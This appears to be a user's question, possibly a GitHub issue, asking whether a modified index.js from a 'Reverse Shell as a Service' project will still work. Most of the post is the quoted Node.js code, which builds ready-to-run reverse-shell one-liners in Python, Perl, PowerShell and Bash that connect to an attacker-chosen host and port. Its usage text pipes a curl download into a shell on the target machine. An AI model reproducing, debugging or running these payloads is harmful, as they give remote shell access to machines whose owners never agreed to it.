Change the command at index.js

[Hannn]

The index.js that i change the command is like this:
'use strict';

const usage = `# Reverse Shell as a Service

https://github.com/GetRektBoy724/reverse-shell-as-service

List Of Payload:

1. python

2. perl

3. pwrshell

4. bash

How to use:

1. On your machine:

nc -l 1337

2. On the target machine:

curl -s https://shell.now.sh/yourip:1337 | payloadname

3. Don't be a dick`;

const generateScript = (host, port) => {
const payloads = {
python: python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);',
perl: perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};',
pwrshell: powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('${host}',${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
bash: /bin/bash -i >& /dev/tcp/${host}/${port} 0>&1,

    };

return Object.entries(payloads).reduce((script, [cmd, payload]) => {
	script += `

if command -v ${cmd} > /dev/null 2>&1; then
${payload}
exit;
fi`;

	return script;
}, '');

};

const reverseShell = req => {
const [host, port] = req.url.substr(1).split(':');
return usage + (host && port && generateScript(host, port));
};

module.exports = reverseShell;

Can i change the command at the index.js,and if i change the command is that wil be work?